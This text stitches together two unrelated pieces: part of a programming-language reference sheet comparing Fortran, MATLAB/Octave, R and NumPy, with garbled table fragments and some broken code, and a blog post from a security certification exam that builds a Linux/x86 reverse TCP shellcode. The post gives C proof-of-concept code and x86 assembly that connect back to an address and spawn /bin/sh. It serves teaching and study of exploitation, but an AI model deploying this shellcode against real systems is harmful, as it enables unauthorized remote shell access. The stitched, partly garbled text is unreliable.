stacked bar chart| | d = \[7 1; 3 2; 8 1; 5 3; 5 1\]  
bar\(d, 'stacked'\)| d = matrix\(c\(7,1,3,2,8,1,5,3,5,1\),  
nrow=2\)  
labels = c\("a","b","c","d","e"\)  
barplot\(d,names.arg=labels\)| a1 = \[7,3,8,5,5\]  
a2 = \[1,2,1,3,1\]  
pl.bar\(range\(0,5\), a1, color='r'\)  
pl.bar\(range\(0,5\), a2, color='b'\)  
<img src='img/Temp2_5649.jpg' alt='5267212089_a7749bbe3e_s.jpg' /> scatter plot| | plot\(randn\(1,50\),randn\(1,50\),'+'\)| plot\(rnorm\(50\), rnorm\(50\)\)| pl.scatter\(pl.randn\(50\),  
pl.randn\(50\)\)  
<img src='img/Temp2_5642.jpg' alt='5267975488_2216ae147e_s.jpg' />linear regression line| | | x = 0:20  
y = 2 \* x + rnorm\(21\)\*10  
o = lm\(y ~ x\)  
plot\(y\)  
lines\(o$fitted.values\)| x = range\(0,20\)  
err = pl.randn\(20\)\*10  
y = \[2\*i for i in x\] + err  
A = np.vstack\(\[x,np.ones\(len\(x\)\)\]\).T  
m, c = np.linalg.lstsq\(A, y\)\[0\]  
pl.scatter\(x, y\)  
pl.plot\(x, \[m\*i + c for i in x\]\)  
<img src='img/Temp2_5647.jpg' alt='5267434941_f8537c9d26_s.jpg' /> polygonal line plot| | plot\(1:20,randn\(1,20\)\)| plot\(1:20, rnorm\(20\), type="l"\)| plot\(range\(0,20\), randn\(20\)\)  
<img src='img/Temp2_5655.jpg' alt='5268071368_75c3aee42e_t.jpg' /> area chart| | | |   
<img src='img/Temp2_5654.jpg' alt='5268229340_0b96b5e223_s.jpg' /> cubic spline| | | f = splinefun\(rnorm\(20\)\)  
x = seq\(1,20,.1\)  
plot\(x,f\(x\),type="l"\)|  
<img src='img/Temp2_5652.jpg' alt='5268208606_b745646ea6_s.jpg' /> function plot| | fplot\(@sin, \[-4 4\]\)| x = seq\(-4,4,.01\)  
plot\(sin\(x\),type="l"\)  
<img src='img/Temp2_5643.jpg' alt='5267567389_27a19429e4_s.jpg' /> quantile-quantile plot| | | qqplot\(runif\(50\),rnorm\(50\)\)  
lines\(c\(-9,9\), c\(-9,9\), col="red"\)  
axis label| | | plot\(1:20, \(1:20\)^2, xlab="x", ylab="x squared"\)  
axis limits| | | plot\(1:20, \(1:20\)^2, xlab="x", ylab="x squared", ylim=c\(-200,500\)\)  
logarithmic y-axis| | | x = 0:20  
plot\(x,x^2,log="y",type="l"\)  
lines\(x,x^3,col="blue"\)  
lines\(x,x^4,col="green"\)  
lines\(x,x^5,col="red"\)| x = range\(0, 20\)  
  
for i in \[2,3,4,5\]:  
y.append\(\[ji for j in x\]\)  
  
for i in \[0,1,2,3\]:  
semilogy\(x, y\[i\]\)  
trivariate charts  
| fortran| matlab| r| matplotlib  
3d scatter plot| | |   
<img src='img/Temp2_5650.jpg' alt='5268191292_a75a367c39_s.jpg' /> additional data set| | | plot\(1:20, rnorm\(20\), type="l"\)  
lines\(1:20, rnorm\(20\), col="red"\)  
bubble chart| | |   
surface plot| | |   
|
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_|
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_|
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_|
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
# General Footnotes

## version used

The version of software used to check the examples in the reference sheet.

## implicit prologue

Code which examples in the sheet assume to have already been executed.

## get version

How to determine the version of an installation.

## command line repl

How to launch a command line read-eval-print loop for the language.

**r:**

R installations come with a clickable GUI REPL.

## interpreter

How to invoke the interpreter on a script.

## compiler

How to compile an executable.

## get function documentation

How to get the documentation for a function.

## statement separator

How statements are separated.

**octave:**

Use a backslash to escape a newline and continue a statement on the following
line. MATLAB, in contrast, uses three periods: '…' to continue a statement on
the following line.

## block delimiters

**octave:**

The list of keywords which define blocks is not exhaustive. Blocks are also
defined by

  * _switch_ , _case_ , _otherwise_ , _endswitch_
  *  _unwind\_protect_ , _unwind\_protect\_cleanup_ , _end\_unwind\_protect_
  *  _try_ , _catch_ , _end\_try\_catch_

## assignment

**r:**

Traditionally <\- was used in R for assignment. Using an = for assignment was
introduced in version 1.4.0 sometime before 2002. -> can also be used for
assignment:

[code]

    3 -> x
    
[/code]

## compound assignment operators

The compound assignment operators.

## to-end-of-line comment

Character used to start a comment that goes to the end of the line.

## null

**octave:**

NA can be used for missing numerical values. Using a comparison operator on it
always returns false, including NA == NA. Using a logical operator on NA
raises an error.

**r:**

Comparison operators return NA when one of the arguments is NA. In particular
NA == NA is NA. When acting on values that might be NA, the logical operators
observe the rules of ternary logic, treating NA is the unknown value.

## null test

How to test if a value is null.

## undefined variable access

# Arithmetic and Logic Footnotes

## true and false

The boolean literals.

**octave:**

_true_ and _false_ are functions which return matrices of ones and zeros of
type _logical_. If no arguments are specified they return single entry
matrices. If one argument is provided, a square matrix is returned. If two
arguments are provided, they are the row and column dimensions.

## falsehoods

Values which evaluate to false in a conditional test.

**octave:**

When used in a conditional, matrices evaluate to false unless they are
nonempty and all their entries evaluate to true. Because strings are matrices
of characters, an empty string \('' or ""\) will evaluate to false. Most other
strings will evaluate to true, but it is possible to create a nonempty string
which evaluates to false by inserting a null character; e.g. "false\000".

**r:**

When used in a conditional, a vector evaluates to the boolean value of its
first entry. Using a vector with more than one entry in a conditional results
in a warning message. Using an empty vector in a conditional, _c\(\)_ or
_NULL_ , raises an error.

## logical operators

The boolean operators.

**octave:**

Note that MATLAB does not use the exclamation point '\!' for negation.

&& and || are short circuit logical operators.

## conditional expression

A conditional expression.

## convert from string, to string

How to convert strings to numbers and vice versa.

## comparison operators

The comparison operators.

**octave:**

Note that MATLAB does not use '\!=' for an inequality test.

## arithmetic operators

The arithmetic operators.

**octave:**

^ is a synonym for \*\*.

_mod_ is a function and not an infix operator. _mod_ will return a positive
value if the first argument is positive, whereas _rem_ will return a negative
value.

**r:**

^ is a synonym for \*\*.

## integer division

How to compute the quotient of two integers.

## float division

How to perform float division, even if the arguments are integers.

## arithmetic functions

Some standard arithmetic functions.

## arithmetic truncation

Ways of converting a float to a nearby integer.

## arithmetic decomposition

Ways of decomposing numbers into a simpler type of number.

# Random Number Footnotes

# String Footnotes

## string literals

## newline in literal

## character access

## chr and ord

## length

## concatenate

## index of substring

## extract substring

## split

## join

## trim

## case manipulation

## sprintf

## regex test

## regex substitution

# Date and Time Foontotes

## strptime

## strftime

# Array and Vector Footnotes

## array literal

**octave:**

An array in Octave is in fact a _1 x n_ matrix.

## must arrays be homogeneous

Can an array be created with elements of different type?

**octave:**

The array literal

[code]

    [1,'foo',3]
    
[/code]

  
will create an array with 5 elements of class _char_.

**r:**

The array literal

[code]

    c(1,'foo',3)
    
[/code]

will create an array of 3 elements of class _character_ , which is the R
string type.

## array data types

What data types are permitted in arrays.

**octave:**

Arrays in Octave can only contain numeric elements. This follows from the fact
that Octave "arrays" are in fact _1 x n_ matrices.

Array literals can have a nested structure, but Octave will flatten them. The
following literals create the same array:

[code]

    [ 1 2 3 [ 4 5 6] ]
    [ 1 2 3 4 5 6 ]
    
[/code]

Logical values can be put into an array because _true_ and _false_ are
synonyms for 1 and 0. Thus the following literals create the same arrays:

[code]

    [ true false false ]
    [ 1 0 0 ]
    
[/code]

If a string is encountered in an array literal, the string is treated as an
array of ASCII values and it is concatenated with other ASCII values to
produce as string. The following literals all create the same string:

[code]

    [ 'foo', 98, 97, 114]
    [ 'foo', 'bar' ]
    'foobar'
    
[/code]

If the other numeric values in an array literal that includes a string are not
integer values that fit into a ASCII byte, then they are converted to byte
sized values.

**r:**

Array literals can have a nested structure, but R will flatten them. The
following literals produce the same array of 6 elements:

[code]

    c(1,2,3,c(4,5,6))
    c(1,2,3,4,5,6)
    
[/code]

If an array literal contains a mixture of booleans and numbers, then the
boolean literals will be converted to 1 \(for TRUE and T\) and 0 \(for FALSE
and F\).

If an array literal contains strings and either booleans or numbers, then the
booleans and numbers will be converted to their string representations. For
the booleans the string representations are "TRUE'" and "FALSE".

## array element access

## index of array element

## array length

## array concatenation

## map

## filter

## reduce

## vector literal

## element-wise arithmetic operators

## scalar multiplication

## dot product

## cross product

## norms

**octave:**

The _norm_ function returns the p-norm, where the second argument is _p_. If
no second argument is provided, the 2-norm is returned.

# Other Container Footnotes

| homogeneous array| vector| tuple| record| map  
---|---|---|---|---|---  
NumPy| list| vector| tuple| dict| dict  
Octave| rank 1 matrix| rank 1 matrix| cell array| struct|  
R| vector| vector| list| list|  
## tuple literal

How to create a tuple, which we define as a fixed length, inhomogeneous list.

## tuple element access

How to access an element of a tuple.

## tuple length

## record literal

## record member access

## range

# Matrix Footnotes

## literal or constructor

Literal syntax or constructor for creating a matrix.

**octave:**

Square brackets are used for matrix literals. Semicolons are used to separate
rows, and commas separate row elements. Optionally, newlines can be used to
separate rows and whitespace to separate row elements.

**r:**

Matrices are created by passing a vector containing all of the elements, as
well as the number of rows and columns, to the _matrix_ constructor.

If there are not enough elements in the data vector, the values will be
recycled. If there are too many extra values will be ignored. However, the
number of elements in the data vector must be a factor or a multiple of the
number of elements in the final matrix or an error results.

When consuming the elements in the data vector, R will normally fill by
column. To change this behavior pass a _byrow=T_ argument to the _matrix_
constructor:

[code]

    A = matrix(c(1,2,3,4),nrow=2,byrow=T)
    
[/code]

## dimensions

How to get the dimensions of a matrix.

## element access

How to access an element of a matrix. All languages described here follow the
convention from mathematics of specifying the row index before the column
index.

**octave:**

Rows and columns are indexed from one.

**r:**

Rows and columns are indexed from one.

## row access

How to access a row.

## column access

How to access a column.

## submatrix access

How to access a submatrix.

## scalar multiplication

How to multiply a matrix by a scalar.

## element-wise operators

Operators which act on two identically sized matrices element by element. Note
that element-wise multiplication of two matrices is used less frequently in
mathematics than matrix multiplication.

[code]

    from numpy import array
    matrix(array(A) * array(B))
    matrix(array(A) / array(B))
    
[/code]

## multiplication

How to multiply matrices. Matrix multiplication should not be confused with
element-wise multiplication of matrices. Matrix multiplication in non-
commutative and only requires that the number of columns of the matrix on the
left match the number of rows of the matrix. Element-wise multiplication, by
contrast, is commutative and requires that the dimensions of the two matrices
be equal.

## kronecker product

The Kronecker product is a non-commutative operation defined on any two
matrices. If A is m x n and B is p x q, then the Kronecker product is a matrix
with dimensions mp x nq.

## comparison

How to test two matrices for equality.

**octave:**

== and \!= perform entry-wise comparison. The result of using either operator
on two matrices is a matrix of boolean values.

~= is a synonym for \!=.

**r:**

== and \!= perform entry-wise comparison. The result of using either operator
on two matrices is a matrix of boolean values.

## norms

How to compute the 1-norm, the 2-norm, the infinity norm, and the frobenius
norm.

**octave:**

_norm\(A\)_ is the same as _norm\(A,2\)_.

# Data Set Footnotes

**r:**

Data sets are called _data frames_ in R.

## view in spreadsheet

## attach column names

**r:**

Each column of the data set is copies into a variable named after the column
containing the column as a vector. Modifying the data in the variable does not
alter the original data set.

## row access

**r:**

_women\[1,\]_ returns the 1st row from the data set _women_ as a new data set
with one row. This can be converted to a list using the function _as.list_.
There is often no need because lists and one row data sets have nearly the
same behavior.

# Statistics Footnotes

## descriptive statistics

# Function Foontotes

## definition

## invocation

## function value

# Execution Control Footnotes

## if

How to write a branch statement.

## while

How to write a conditional loop.

## for

How to write a C-style for statement.

## break/continue

How to break out of a loop. How to jump to the next iteration of a loop.

## raise exception

How to raise an exception.

## handle exception

How to handle an exception.

## finally block

How to write code that executes even if an exception is raised.

# Environment and I/O Foontotes

# Library and Module Footnotes

# Reflection Footnotes

# Univariate Chart Footnotes

A univariate chart can be used to display a list or array of numerical values.
Univariate data can be displayed in a table with a single column or two
columns if each numerical value is given a name. A multivariate chart, by
contrast, is used to display a list or array of _tuples_ of numerical values.

In order for a list of numerical values to be meaningfully displayed in a
univariate chart, it must be meaningful to perform comparisons \(<, >, =\) on
the values. Hence the values should have the same unit of measurement.

## vertical bar chart

A chart which represents values with rectangular bars which line up on the
bottom. It is a deceptive practice for the bottom not to represent zero, even
if a y-axis with labelled tick marks or grid lines is provided. A cut in the
vertical axis and one of the bars may be desirable if the cut value is a large
outlier. Putting such a cut all of the bars near the bottom is a deceptive
practice similar not taking to the base of the bars to be zero, however.

Another bad practice is the 3D bar chart. In such a chart heights are
represented by the height of what appear to be three dimensional blocks. Such
charts impress an undiscriminating audience but make it more difficult to make
a visual comparison of the charted quantities.

## horizontal bar chart

A bar chart in which zero is the y-axis and the bars extend to the right.

## pie chart

A bar chart displays values using the areas of circular sectors or
equivalently, the lengths of the arcs of those sectors. A pie chart implies
that the values are percentages of a whole. The viewer is likely to make an
assumption about what the whole circle represents. Thus, using a pie chart to
show the revenue of some companies in a line of business could be regarded as
deceptive if there are other companies in the same line of business which are
left out. The viewer may mistakenly assume the whole circle represents the
total market.

If two values are close in value, people cannot determine visually which of
the corresponding sectors in a pie chart is larger without the aid of a
protractor. For this reason many consider bar charts superior to pie charts.

Many software packages make 3D versions of pie charts which communicate no
additional information and in fact make it harder to interpret the data.

## stacked dot chart

A chart which communicates values by means of stacks of dots. A dot chart is
equivalent to a bar chart but emphasizes that the quantities are small,
integral values.

There is a single dot variation of the dot chart in which only the topmost dot
is drawn. The single dot variation will draw the dot on a line; it doesn't
imply that the represented quantity is an integer.

## stem-and-leaf plot

## histogram

## box-and-whisker plot

## set chart title

# Bivariate Chart Footnotes

## stacked bar chart

# Trivariate Chart Footnotes

# Fortran

The GNU Fortran Compiler  
Fortran 77 Tutorial  
Fortran 90 Tutorial

Modern Fortran compilers support two source code formats: the traditional
_fixed format_ and the _free format_ introduced with Fortran 90.

If a Fortran source file has a `.f` suffix, the gfortran compiler expects the
code to have fixed format. If the suffix is `.f90` or `.f95` it expects free
format code. Emacs is also suffix aware and provides `fortran-mode` and
`f90-mode` for fixed format and free format code respectively.

Here is an example of fixed format code:

[code]

    C Hello World
    * in Fortran 77
    
          program hello
    10000 write(*,*) 'Hello,'
         + , ' World!'
          end program hello
    
[/code]

This first column can contain a 'C', 'c', or '\*' to indicate the line is a
comment.

Columns 1 through 5 can contain an optional statement label. A statement label
consists of digits. The statement label may contain leading zeros which are
ignored. A statement label cannot consist entirely of zeros.

If column 6 contains a non-space character and columns 1 through 5 are blank,
then the line is treated as a continuation of the previous line. The
continuation character is not itself part of the statement, so any non-space
character can be used, but '+' is a common choice.

Columns 7 through 72 contain the statement.

Columns 73 through 80 can contain optional sequence numbers. They were
formerly used to help keep punch cards in the correct order.

Here is an example of free format code:

[code]

    ! Hello World in Fortran 90
    
    program hello
      write(*,*) 'Hello,' &
           , ' World!'
    end program hello
    
[/code]

There are no special columns in free format code. There is no limit on the
length of lines or statements. If it is desirable to split a statement up over
multiple lines, the '&' character can be used to indicate the statement
continues on the following line.

# MATLAB

Octave Manual  
MATLAB Documentation  
gnuplot Documentation  
Differences between Octave and MATLAB

The basic data type of MATLAB is a matrix of floats. There is no distinction
between a scalar and a 1x1 matrix, and functions that work on scalars
typically work on matrices as well by performing the scalar function on each
entry in the matrix and returning the resultings in a matrix with the same
dimensions. Operators such as the logical operators \('&' '|' '\!'\),
comparison operators \('==', '\!=', '<', '>'\), and arithmetic operators
\('+', '-'\) all work this way. However the multiplication '\*' and division
'/' operators perform matrix multiplication and matrix division, respectively.
The '.\*' and '.\*' operators are available if entry-wise multiplication or
division is desired.

Floats are by default double precision; single precision can be specified with
the _single_ constructor. MATLAB has convenient matrix literal notation:
commas or spaces can be used to separate row entries, and semicolons or
newlines can be used to separate rows.

Arrays and vectors are implemented as single-row \(1xn\) matrices. As a result
an _n_ -element vector must be transposed before it can be multiplied on the
right of a _mxn_ matrix.

Numeric literals that lack a decimal point such as _17_ and _-34_ create
floats, in contrast to most other programming languages. To create an integer,
an integer constructor which specifies the size such as _int8_ and _uint16_
must be used. Matrices of integers are supported, but the entries in a given
matrix must all have the same numeric type.

Strings are implemented as single-row \(1xn\) matrices of characters, and as a
result matrices cannot contain strings. If a string is put in matrix literal,
each character in the string becomes an entry in the resulting matrix. This is
consistent with how matrices are treated if they are nested inside another
matrix. The following literals all yield the same string or 1xn matrix of
characters:

[code]

    'foo'
    [ 'f' 'o' 'o' ]
    [ 'foo' ]
    [ [ 'f' 'o' 'o' ] ]
    
[/code]

_true_ and _false_ are functions which return matrices of ones and zeros. The
ones and zeros have type _logical_ instead of _double_ , which is created by
the literals 1 and 0. Other than having a different class, the 0 and 1 of type
_logical_ behave the same as the 0 and 1 of type _double_.

MATLAB has a tuple type \(in MATLAB terminology, a cell array\) which can be
used to hold multiple strings. It can also hold values with different types.

Octave is a free, open source application for floating point and matrix
computations which can interface with numerical routines implemented in C or
Fortran. Octave implements the core MATLAB language, and as a result MATLAB
scripts will usually run under Octave. Octave scripts are less likely to run
under MATLAB because of extensions which Octave is made to the core language..
Octave's plotting functions use gnuplot.

# R

An Introduction to R  
The Comprehensive R Archive Network

R is an application for statistical analysis. It is a free, open source
implementation of the S programming language developed at Bell Labs.

The basic data types of R are vectors of floats, vectors of strings, and
vectors of booleans. There is no distinction between a scalar and a vector
with one entry in it, and functions and operators which accept a scalar
argument will typically accept a vector argument, returning a vector of the
same size with the scalar operation performed on each the entries of the
original vector.

The scalars in a vector must all be of the same type, but R also provides a
_list_ data type which can be used as a tuple \(entries accessed by index\) or
a record \(entries accessed by name\).

In addition R provides a _data frame_ type which is a list \(in R
terminology\) of vectors all of the same length. Data frames are equivalent to
the data sets of other statistical analysis packages.

# NumPy

NumPy and SciPy Documentation  
matplotlib intro

# History

# Fortran History

The initial Fortran compiler was released for the IBM 704 in 1957. It was
followed by the Fortran II compiler in 1958 which added support for user
defined functions and subroutines.

In 1962 IBM released Fortran IV, which was tweaked to make it easier to write
portable programs. IBM released Fortran IV compilers for the IBM 7090, 7094,
and IBM's first supercomputer, the 7030.

# MATLAB History

LINPACK 1979  
LAPACK 1992

In the 1970s the Argonne National Laboratory wrote some high quality Fortran
libraries for matrix computations, starting with EISPACK in 1973. Cleve Moler,
a professor at the University of New Mexico, developed the scripting language
MATLAB \(Matrix Laboratory\) in the late 1970s so that students could use
these libraries without knowing Fortran. MATLAB was initially free, but it was
reimplemented in C and released as a commercial product in 1984.

Version 1.0 of Octave was release in 1994 under the GNU license.

# R History

A Brief History of S Becker 1994

S, a language for doing work in statistics, was developed by John Chambers and
others at Bell Labs in 1976. Originally it ran on the GCOS operating system.
It was ported to Unix in 1979, and distributed outside of Bell Labs with
source in 1981. SAS, by comparison, was initially released in 1971 for IBM
mainframes, and was ported to other systems such as VMS in the early 1980s.
Both S and SAS were initially implemented in Fortran.

The S language was revised in 1988.

R is a GNU version of S. The first stable production version was released in
2000.

page revision: 175, last edited: 10 Oct 2011, 04:06 CEST \(1 day ago\)

Edit History Files \+ Options

Help | Terms of Service | Privacy | Report a bug | Flag as objectionable
Powered by Wikidot.com

Unless otherwise stated, the content of this page is licensed under Creative
Commons Attribution-ShareAlike 3.0 License

<img
src='http://hyperpolyglot.org/data:image/png;base64,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'
width='24' height='24' />

# SLAE: Shell Reverse TCP Shellcode \(Linux/x86\) – RCE Security

**Created:**| _7/17/2017 11:31:09 AM_  
---|---  
**Updated:**| _7/17/2017 11:31:09 AM_  
**Author:**| __  
**Tags:**| _shellcode_  
  

  

Now Mario meets Luigi….or what’s a bind without a reverse shellcode?

I’ve spend some extra time again to reduce the shellcode size and make it
fully register aware, so that this shellcode could handle every exploit-
scenario. It’s therefore currently at a size of **74 bytes** , which should
make it one of the smallest Linux-based Shell Reverse TCP shellcode over at
shell-storm\!

There also two \(\#1, \#2\) shellcodes made by Geyslan G. Bem, which are even
smaller in size – good job\! He added a small register-polluting piece of code
to make sure that the shellcode runs in any circumstances:

1234567 | \_\_asm\_\_ \("movl $0xffffffff, %eax\n\t" "movl %eax, %ebx\n\t" "movl %eax, %ecx\n\t" "movl %eax, %edx\n\t" "movl %eax, %esi\n\t" "movl %eax, %edi\n\t" "movl %eax, %ebp"\);  
---|---  
Now onto my small piece of cake, which doesn’t need this <img
src='img/9278_1f642.svg' width='16' height='16' alt='🙂' />

**Assignment \#2: Shell Reverse TCP Shellcode**

The second assignment in the SecurityTube Linux Assembly Expert exam is about
creating a shellcode, which:

  * Reverse connects to a configured IP and port
  * Executes a shell on successful connection
  * is easily configureably \(in regards to the IP and port\)

**Shell Reverse TCP PoC**

In comparison to assignment \#1, I’ve slightly modified the proof of concept
code, which is now able to connect back to an IP address \(in this case
127.0.0.1\) on port 1337:

12345678910111213141516171819202122232425262728293031323334 | // SLAE - Assignment \#2: Shell Reverse TCP \(Linux/x86\) PoC// Author: Julien Ahrens \(@MrTuxracer\)// Website: http://www.rcesecurity.com  \#include <stdio.h>\#include <unistd.h>\#include <sys/socket.h>\#include <netinet/in.h> int main\(void\)\{ int i; // used for dup2 later int sockfd; // socket file descriptor socklen\_t socklen; // socket-length for new connections struct sockaddr\_in srv\_addr; // client address srv\_addr.sin\_family = AF\_INET; // server socket type address family = internet protocol address srv\_addr.sin\_port = htons\( 1337 \); // connect-back port, converted to network byte order srv\_addr.sin\_addr.s\_addr = inet\_addr\("127.0.0.1"\); // connect-back ip , converted to network byte order // create new TCP socket sockfd = socket\( AF\_INET, SOCK\_STREAM, IPPROTO\_IP \); // connect socket connect\(sockfd, \(struct sockaddr \*\)&srv\_addr, sizeof\(srv\_addr\)\); // dup2-loop to redirect stdin\(0\), stdout\(1\) and stderr\(2\) for\(i = 0; i <= 2; i++\) dup2\(sockfd, i\); // magic execve\( "/bin/sh", NULL, NULL \);\}  
---|---  
**Assembly prepation**

As shown in the C source code, you need to translate the following calls into
Assembly language:

  1. Create a socket
  2. Connect to a specified IP and port
  3. Redirect stdin, stdout and stderr via dup2
  4. Execute some more magic

Looks like this will save some more bytes in comparison to assignment \#1 <img
src='img/9278_1f642.svg' width='16' height='16' alt='🙂' />

**Create a socket**

This is pretty much the same like in assignment \#1, except a slightly
different register layout, which I have chosen. I’m using EDX for the protocol
argument instead of ESI – this is just for keeping the overall count of used
registers as small as possible, so you have less things to cleanup ;-\):

123456789101112131415161718192021 | ;; int socketcall\(int call, unsigned long \*args\);; sockfd = socket\(int socket\_family, int socket\_type, int protocol\);;push 0x66 pop eax ;syscall: sys\_socketcall + cleanup eax push 0x1pop ebx ;sys\_socket \(0x1\) + cleanup ebx xor edx,edx ;cleanup edx push edx ;protocol=IPPROTO\_IP \(0x0\) push ebx ;socket\_type=SOCK\_STREAM \(0x1\)push 0x2 ;socket\_family=AF\_INET \(0x2\) mov ecx, esp ;save pointer to socket\(\) args int 0x80 ;exec sys\_socket xchg edx, eax; save result \(sockfd\) for later usage  
---|---  
In the end, the socket file descriptor is again saved into EDX using a one-
byte XCHG. If you’re interested in a deep-analysis of this part, have a look
at my previous article.

**Connect to a specified IP and port**

OK, that’s the new and interesting part. First you need the standard
socketcall-syscall in AL again:

12345 | ;; int socketcall\(int call, unsigned long \*args\);; int connect\(int sockfd, const struct sockaddr \*addr, socklen\_t addrlen\);;mov al, 0x66  
---|---  
I’ll skip the connect\(\) syscall-setup \(EBX\) for a moment, because my
register-layout is a bit optimized for this part. Don’t worry – I’ll come back
to this part soon\!

First let’s have a look at the connect\(\) arguments, these are the same as
for the bind\(\) call. Again the most interesting argument is the sockaddr
struct:

12345 | ;struct sockaddr\_in \{; \_\_kernel\_sa\_family\_t sin\_family; /\* Address family \*/; \_\_be16 sin\_port; /\* Port number \*/; struct in\_addr sin\_addr; /\* Internet address \*/;\};  
---|---  
As you’d like to connect back to an ip address / port combination, you need to
place these arguments at this point. First of all \(remember: reverse
order\!\): sin\_addr. The ip address is in network byte order, and is
therefore reversed PUSHed onto the stack. Each octet is represented by one
byte without the dots:

1 | push 0x0101017f ;sin\_addr=127.1.1.1 \(network byte order\)  
---|---  
Same for the port:

1 | push word 0x3905 ;sin\_port=1337 \(network byte order\)  
---|---  
**Small side-note** : The whole shellcode is 0x00-free as long as the ip
address and port are\! Therefore this shellcode connects back to the localhost
via 127.1.1.1\!

EBX contains 0x1 at this point due to the socket\_type PUSH during the
socket\(\) call, so incrementing EBX does the next job \(the sin\_family
argument\), which needs to be 0x2, smoothly:

12 | inc ebx push word bx ;sin\_family=AF\_INET \(0x2\)  
---|---  
Now, save the pointer to this sockaddr struct to ECX:

1 | mov ecx, esp ;save pointer to sockaddr\_in struct  
---|---  
Last but not least: You need the connect function call in EBX, which is 0x3
according to /usr/include/linux/net.h:

123 | \#define SYS\_SOCKET 1 /\* sys\_socket\(2\) \*/\#define SYS\_BIND 2 /\* sys\_bind\(2\) \*/\#define SYS\_CONNECT 3 /\* sys\_connect\(2\) \*/  
---|---  
Thankfully EBX already contains 0x2 due to the sin\_family PUSH…just one INC
to rule’em all <img src='img/1f609.svg' width='16' height='16' alt='😉' /> :

123 | inc ebx ; sys\_connect \(0x3\) int 0x80 ;exec sys\_connect  
---|---  
**Redirect stdin, stdout and stderr via dup2**

Now, this part should look very familiar to you. But the register layout is a
bit different:

<img src='img/Temp2_7161' width='599' height='441'
alt='linux_x86_shell_reverse_tcp-1' />

You need to redirect stdin\(0\), stdout\(1\) and stderr\(2\) to have some
output in your reverse shell. In assignment \#1 you had a perfectly fitting
stack, which held all needed values. As I am using a decrementing counter
again, ECX has to be set to 0x2, but it’s not on the stack somewhere. So the
simple solution \(3 bytes\) looks like the following:

123456 | ;; int socketcall\(int call, unsigned long \*args\);; int dup2\(int oldfd, int newfd\);;push 0x2pop ecx ;set loop-counter  
---|---  
ECX is now ready for the loop, just saving the socket file descriptor to EBX
